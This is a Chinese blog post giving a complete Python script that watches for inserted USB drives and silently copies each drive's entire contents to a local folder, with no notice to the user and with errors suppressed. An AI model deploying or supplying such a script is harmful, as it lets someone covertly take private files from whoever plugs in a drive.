技术要点分析:

1、监控USB端口,判断是否有U盘插入

2、copyU盘数据到本地

所需库:

import psutil # 监控系统状态
import shutil # copy文件
完整代码:
 1 # -*- coding:utf-8 -*-
 2 import psutil
 3 import sys
 4 import os
 5 import shutil
 6 import time
 7 
 8 local_device = []
 9 mobile_device = []
10 local_number = 0
11 mobile_number = 0
12 SAVE_path = ["D:\\cs", 0]
13 
14 
15 # 更新usb端口状态
16 def update():
17     tmp_local_number = 0
18     tmp_mobile_number = 0
19     try:
20         part = psutil.disk_partitions()
21     except:
22         # print("程序异常")
23         sys.exit()
24     for i in range(len(part)):
25         tmp_list = part[i].opts.split(\',\')
26         if "fixed" in tmp_list:
27             tmp_local_number = tmp_local_number + 1
28             local_device.append(part[i].device)
29         elif "removable" in tmp_list:
30             tmp_mobile_number = tmp_mobile_number + 1
31             mobile_device.append(part[i].device)
32             pass
33         pass
34     return [len(part), tmp_local_number, tmp_mobile_number]
35 
36 
37 # 复制文件
38 def copy_file(USB_path):
39     save_path = "D:\\cs"+str(int(time.time()))
40     if os.path.exists(USB_path):
41         try:
42             shutil.copytree(USB_path, save_path)
43         except:
44             pass
45     else:
46         time.sleep(10)
47 
48 
49 if __name__ == \'__main__\':
50     data = update()
51     now_local_number = 0
52     now_mobile_number = 0
53     before_number = data[0]
54     local_number = data[1]
55     mobile_number = data[2]
56     now_number = 0
57     while True:
58         data = update()
59         now_number = data[0]
60         now_local_number = data[1]
61         now_mobile_number = data[2]
62         if now_mobile_number > mobile_number:
63             if len(mobile_device):
64                 copy_file(mobile_device[-1])
65             else:
66                 pass
67             before_number = now_number
68             local_number = now_local_number
69             mobile_number = now_mobile_number
70         elif now_mobile_number < mobile_number:
71             before_number = now_number
72             local_number = now_local_number
73             mobile_number = now_mobile_number
74             pass
75         time.sleep(5) 

该文章转自lizaza.cn 

 

版权声明:本文为lizaza原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/lizaza/p/12834844.html